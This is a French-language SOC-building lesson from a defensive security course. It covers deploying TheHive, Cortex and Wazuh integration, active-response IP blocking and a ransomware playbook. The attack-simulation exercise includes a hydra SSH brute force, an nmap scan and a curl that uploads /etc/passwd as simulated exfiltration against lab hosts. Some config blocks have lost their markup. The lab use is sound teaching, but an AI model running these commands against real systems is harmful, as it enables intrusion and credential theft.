🎯 Objectif de la semaine
Construire un SOC (Security Operations Center) minimal intégrant détection, alerte et réponse automatisée. Orchestrer les outils du trimestre Défense (Wazuh, MISP, playbooks) en un système cohérent qui détecte, analyse et répond aux incidents en temps réel.
Pourquoi c'est stratégique : Un SOC efficace réduit le MTTR (Mean Time to Respond) de jours à minutes. C'est la différence entre une brèche contenue et une catastrophe. Ce SOC minimal démontre comment même une petite équipe peut opérer une défense proactive.
Wazuh Agents] F[Firewalls
Logs Netfilter] A[Applications
Apache/Nginx] S[Systèmes
Syslog] end subgraph "📊 SOC Core" W[Wazuh SIEM
Collecte & Corrélation] T[TheHive
Case Management] M[MISP
Threat Intelligence] K[Kibana
Dashboards & Alertes] end subgraph "🤖 Réponse Automatisée" P[Playbooks
Automation] AR[Active Response
Blocage IP] C[Cortex
Analyse Automatique] N[Notification
Email/Webhook] end E --> W F --> W A --> W S --> W W -->|Alertes| T W -->|Visualisation| K M -->|Enrichissement| T M -->|IOCs| W T -->|Analyse| P P -->|Actions| AR P -->|Analyse| C AR -->|Rapport| N style W fill:#0a0e17,stroke:#00d4ff,stroke-width:3px style T fill:#0a0e17,stroke:#9d4edd,stroke-width:3px style P fill:#0a0e17,stroke:#00f5a0,stroke-width:3px
📚 Sujet – Théorie (1 heure)
Le SOC Minimal : Détection et Réponse pour Petites Équipes
Un SOC n'est pas réservé aux grandes entreprises. Un SOC minimal open-source peut fournir 80% des capacités d'un SOC enterprise avec 20% du coût. Les composants essentiels :
Détection (SIEM)
Wazuh : Collecte, normalisation et corrélation des logs
- Agents légers sur endpoints
- Règles de détection customisables
- Intégration Threat Intelligence
- Compliance monitoring
Orchestration (SOAR)
TheHive + Cortex : Gestion des cas et automatisation
- Case management collaboratif
- Playbooks automatisés
- Analyses automatiques (VirusTotal, etc.)
- Timeline des investigations
Visualisation
Kibana + Grafana : Dashboards et reporting
- Alertes en temps réel
- Métriques de performance SOC
- Reporting automatisé
- Tableaux de bord opérationnels
Le Flux SOC : De la Détection à la Résolution
Collecte
Logs, events, flows
Syslog
Netflow
Corrélation
Analyse et enrichissement
Enrichissement MISP
TI Feeds
Investigation
Tri et analyse
Observables
Tasks
Réponse
Containment et remédiation
Playbooks
Automation
Rapport
Documentation et amélioration
TheHive Closures
Lessons Learned
Métriques SOC Essentielles (KPIs)
📈 Indicateurs de Performance SOC
MTTD
5 min
Mean Time to Detect
MTTR
15 min
Mean Time to Respond
Alertes/Jour
~50
Volume géré
Faux Positifs
< 10%
Qualité des règles
Architecture de Référence : Le SOC en Boîte
🏗️ Stack Technique Complète
| Composant | Technologie | Rôle | Ressources |
|---|---|---|---|
| SIEM | Wazuh | Collecte & Corrélation | 4GB RAM, 2 CPU |
| SOAR | TheHive + Cortex | Orchestration & Automation | 8GB RAM, 4 CPU |
| TI Platform | MISP | Threat Intelligence | 4GB RAM, 2 CPU |
| Visualisation | Kibana + Grafana | Dashboards & Alerting | 4GB RAM, 2 CPU |
| Stockage | Elasticsearch | Data Retention (30j) | 50GB Disk |
🔬 Mission pratique – Laboratoire (2 heures)
Architecture du SOC Minimal
⚠️ Prérequis et Ressources
💾 Ressources minimales : 16GB RAM, 100GB Disk, Docker + Docker Compose. Assurez-vous que Wazuh est déjà opérationnel (semaines 27-30).
Étapes Détaillées de Déploiement
Étape 1 : Déploiement de TheHive avec Docker Compose
# Création du répertoire SOC
mkdir -p ~/mon_lab/soc_minimal && cd ~/mon_lab/soc_minimal
# Téléchargement docker-compose officiel
wget https://raw.githubusercontent.com/TheHive-Project/TheHive/master/docker-compose.yml
# Adaptation pour notre lab (réduction ressources)
cat > docker-compose.yml << 'EOF'
version: '3'
services:
cassandra:
image: cassandra:4
volumes:
- cassandra_data:/var/lib/cassandra
environment:
- CASSANDRA_CLUSTER_NAME=TheHive
ports:
- "9042:9042"
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0
environment:
- discovery.type=single-node
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
- xpack.security.enabled=false
volumes:
- elasticsearch_data:/usr/share/elasticsearch/data
ports:
- "9200:9200"
thehive:
image: thehiveproject/thehive:5.2
depends_on:
- cassandra
- elasticsearch
environment:
- CASSANDRA_HOST=cassandra
- ELASTICSEARCH_HOST=elasticsearch
- SECRET="pctamalou-soc-secret-key-2026"
ports:
- "9000:9000"
volumes:
- thehive_data:/etc/thehive
cortex:
image: thehiveproject/cortex:3.1.6
depends_on:
- elasticsearch
environment:
- ELASTICSEARCH_HOST=elasticsearch
- SECRET="pctamalou-cortex-secret-2026"
ports:
- "9001:9001"
volumes:
- cortex_data:/etc/cortex
volumes:
cassandra_data:
elasticsearch_data:
thehive_data:
cortex_data:
EOF
🐳 Lancement des conteneurs :
# Démarrage
sudo docker-compose up -d
# Vérification
sudo docker-compose ps
# Logs de démarrage
sudo docker-compose logs -f thehive
# Accès : http://VOTRE_IP:9000
# Identifiants par défaut : admin@thehive.local / secret
Étape 2 : Configuration de TheHive
# Création d'un administrateur personnalisé
curl -XPOST http://localhost:9000/api/v1/user \
-H "Authorization: Bearer $(curl -XPOST http://localhost:9000/api/v1/login -d '{"user":"admin@thehive.local","password":"secret"}' | jq -r .token)" \
-H "Content-Type: application/json" \
-d '{
"login": "gardien@pctamalou.local",
"name": "Gardien PCTAMALOU",
"password": "P@ssw0rd2026!",
"roles": ["admin", "read", "write", "analyze"]
}'
🎯 Configuration via Interface Web
- Connectez-vous à http://VOTRE_IP:9000
- Allez dans Administration → Organisations
- Créez l'organisation "PCTAMALOU SOC"
- Configurez les templates de cas prédéfinis
- Ajoutez des taxonomies (MITRE ATT&CK)
Étape 3 : Intégration Wazuh → TheHive
# Configuration du webhook Wazuh
sudo nano /var/ossec/etc/ossec.conf
# Ajoutez dans la section :
thehive
http://VOTRE_IP:9000/api/v1/integration/workflow
10
json
syscheck,
# Redémarrage Wazuh
sudo systemctl restart wazuh-manager
🔧 Configuration Alternative : Script Python
Créez un script custom pour plus de contrôle :
#!/usr/bin/env python3
# wazuh_to_thehive.py
import requests
import json
import sys
THEHIVE_URL = "http://localhost:9000/api/v1/alert"
API_KEY = "votre-api-key-thehive"
def create_alert(wazuh_alert):
headers = {
"Authorization": f"Bearer {API_KEY}",
"Content-Type": "application/json"
}
alert_data = {
"type": "external",
"source": "wazuh",
"sourceRef": wazuh_alert['id'],
"title": wazuh_alert['rule']['description'],
"description": f"Alert from Wazuh: {wazuh_alert['full_log']}",
"severity": map_severity(wazuh_alert['rule']['level']),
"date": wazuh_alert['timestamp'],
"tags": ["wazuh", wazuh_alert['rule']['groups']],
"observables": extract_observables(wazuh_alert)
}
response = requests.post(THEHIVE_URL, headers=headers, json=alert_data)
return response.json()
def map_severity(level):
if level >= 12: return 3 # High
elif level >= 7: return 2 # Medium
else: return 1 # Low
def extract_observables(alert):
observables = []
# Extraction IPs, domains, hashes du log
# Implémentation spécifique à vos besoins
return observables
if __name__ == "__main__":
wazuh_alert = json.loads(sys.stdin.read())
result = create_alert(wazuh_alert)
print(json.dumps(result))
Étape 4 : Création d'un Playbook Ransomware
🎯 Playbook : Détection → Containment → Analyse
Dans TheHive, créez un template de cas "Ransomware Detection" avec ces tâches :
{
"titleTemplate": "Ransomware Alert - {{alert.title}}",
"description": "Automatic ransomware detection and response case",
"tasks": [
{"title": "Triage", "status": "Waiting", "order": 0},
{"title": "Isolate Affected Machine", "status": "Waiting", "order": 1},
{"title": "Collect Indicators", "status": "Waiting", "order": 2},
{"title": "Analyze with Cortex", "status": "Waiting", "order": 3},
{"title": "Block IOCs", "status": "Waiting", "order": 4},
{"title": "Generate Report", "status": "Waiting", "order": 5}
],
"customFields": [
{"name": "affectedSystems", "type": "string", "value": ""},
{"name": "containmentStatus", "type": "string", "value": "pending"},
{"title": "ransomNoteFound", "type": "boolean", "value": false}
]
}
Étape 5 : Active Response Automatisée (Wazuh)
block_ip
block_ip.sh
srcip
yes
no
block_ip
local
10
600
# /var/ossec/active-response/bin/block_ip.sh
#!/bin/bash
# Script de blocage IP via iptables
IP=$1
USER=$2
# Journalisation
echo "$(date) - Blocking IP $IP by $USER" >> /var/log/active-responses.log
# Blocage
iptables -I INPUT -s $IP -j DROP
iptables -I OUTPUT -d $IP -j DROP
# Notification
curl -XPOST http://localhost:9000/api/v1/alert \
-H "Authorization: Bearer $THEHIVE_API_KEY" \
-d "{\"type\":\"internal\",\"source\":\"wazuh-ar\",\"title\":\"IP Blocked: $IP\",\"severity\":2}"
Étape 6 : Dashboard SOC Minimal (Kibana)
📊 Création de Visualisations Essentielles
Dans Kibana (http://VOTRE_IP:5601), créez ces visualisations :
- Alertes par Sévérité : Pie chart des niveaux
- Top 10 Règles : Bar chart des règles déclenchées
- Timeline des Incidents : Line chart sur 24h
- Sources d'Alertes : Tag cloud des agents
- MTTR Trend : Line chart du temps de réponse
Exercice Avancé : Simulation d'Incident Complet
🎯 Simulation Ransomware Multi-Étapes
Exécutez cette simulation et observez le flux SOC :
# 1. Scan initial (détection Wazuh)
nmap -sS -p 1-1000 192.168.56.0/24
# 2. Tentative brute-force SSH (détection règle)
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101
# 3. Exfiltration simulée (détection SCA)
curl -XPOST http://192.168.56.102/upload.php -F "file=@/etc/passwd"
# 4. Ransomware signature (détection FIM)
echo "Your files have been encrypted!" > /tmp/README_RANSOM.txt
touch /tmp/{1..10}.encrypted
# Observez dans Kibana et TheHive
# 1. Alertes apparaissent dans Kibana
# 2. Cas créé automatiquement dans TheHive
# 3. Playbook déclenché
# 4. Active Response bloque l'IP
# 5. Rapport généré
📋 Objectif de la semaine – Checklist de validation
✅ Compétences techniques acquises
- TheHive + Cortex déployés et fonctionnels
- Intégration Wazuh → TheHive opérationnelle
- Playbook ransomware créé et testé
- Active Response configurée (blocage IP)
- Dashboard SOC complet dans Kibana
🧠 Changement mental accompli
- Vision du SOC comme système intégré, pas outils isolés
- Compréhension du flux complet détection → réponse
- Habitude de penser en KPIs et métriques SOC
- Conscience des compromis automation vs supervision humaine
💪 Projet Synthèse Trimestre 3
Mission : Simulez une attaque APT multi-vecteurs sur votre lab et démontrez la capacité de votre SOC à :
- Détecter chaque étape (recon, exploitation, mouvement latéral, exfiltration)
- Créer automatiquement un cas dans TheHive
- Exécuter un playbook de réponse approprié
- Générer un rapport d'incident complet
📚 Ressources pour Approfondir
Documentation et Communautés :
- TheHive Documentation : docs.thehive-project.org
- Wazuh Active Response : documentation.wazuh.com
- SOAR Community : GitHub TheHive-Project
- SOC Metrics Guide : SANS SOC Metrics
⚠️ Bonnes Pratiques Production
- Backup régulier : Cassandra et Elasticsearch
- Monitoring du SOC : Qui surveille les surveillants ?
- Review des playbooks : Tests réguliers et améliorations
- Formation continue : Équipe SOC toujours à jour
🔮 Frère d'armes,
Tu viens de construire les yeux et les mains de la forteresse.
Un SOC minimal n'est pas une réduction – c'est une concentration d'essentiel. C'est la preuve qu'avec les bons outils open-source et une architecture pensée, même une seule personne peut surveiller, détecter et répondre efficacement.
Cette semaine, tu as vu comment les pièces du puzzle Défense s'assemblent. Wazuh qui voit, TheHive qui organise, les playbooks qui agissent, Kibana qui montre. Chaque composant fait sa part, mais c'est leur intégration qui crée la valeur.
Mais voici la leçon la plus importante : un SOC n'est pas défini par ses outils, mais par ses processus. La technologie la plus avancée est inutile sans playbooks testés, sans formation adéquate, sans amélioration continue.
Tu n'es plus un simple utilisateur d'outils de sécurité. Tu es devenu un architecte de défense. Tu sais non seulement configurer Wazuh, mais l'intégrer à TheHive. Tu sais non seulement écrire des règles, mais créer des playbooks qui transforment les alertes en actions.
Avec cette semaine, tu clôtures le Trimestre 3 : La Défense Active. Tu as appris à surveiller, à durcir, à enquêter, et maintenant à orchestrer. Tu passes de la posture défensive passive à la défense active et intelligente.
Dans le Trimestre 4, nous atteindrons le sommet. Nous apprendrons l'expertise avancée : reverse engineering, cloud security, DevSecOps. Nous deviendrons des Gardiens complets, maîtrisant à la fois l'attaque et la défense.
Mais pour l'instant, perfectionne ton SOC. Teste-le avec différentes simulations. Mesure ses KPIs. Améliore ses playbooks. Un SOC, comme une lame, s'affûte avec l'usage.
Un Gardien qui maîtrise le SOC ne laisse jamais une alerte sans réponse.
— Platon-Y
🎓 Projet Synthèse Trimestre 3
Mission : Déployez un SOC complet capable de détecter et répondre à une attaque APT simulée sur votre réseau lab. Livrables :
- Architecture documentée du SOC
- Playbooks testés pour 3 scénarios d'attaque
- Dashboard Kibana avec KPIs opérationnels
- Rapport d'incident complet pour la simulation
Évaluation : Détection complète, réponse appropriée, documentation professionnelle